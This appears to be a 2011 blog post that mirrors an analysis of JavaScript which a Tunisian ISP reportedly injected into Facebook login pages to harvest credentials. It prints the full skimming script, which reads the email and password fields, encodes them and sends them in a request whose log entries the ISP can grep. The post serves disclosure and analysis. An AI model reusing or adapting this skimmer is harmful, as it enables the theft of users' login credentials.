Webhacking and Security

How does the Tunisian government steal passwords on Facebook.

Original post by @r00tBSD : http://www.r00ted.com/doku.php?id=injection_tunisie

You perhaps have followed the recent actualities about Tunisian Government stealing accounts on facebook (http://www.fastcompany.com/1715575/tunisian-government-hacking-facebook-gmail-anonymous). There’s how they do:

Here’s the web page of Facebook as seen when you’re connected in Tunisia


Let’s take a look at that javascript curious part..

function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
 var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value;
 var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}

This code is injected by the ISP (Internet service provider) itself and appears in no others country, this JS code do a query to http://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD with the username and password in clear, the “wo0dh3ad” page of course don’t exist on facebook’s server, but the ISP could simply do an “grep wo0dh3ad /var/log/FAI.log” to get all the passwords of their subscribers in clear.

One response

  1. Thanks to make a mirror… I am victim of DDOS on my website. Some people try to stop this kind of information !!!

    January 13, 2011 at 3:59 pm

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s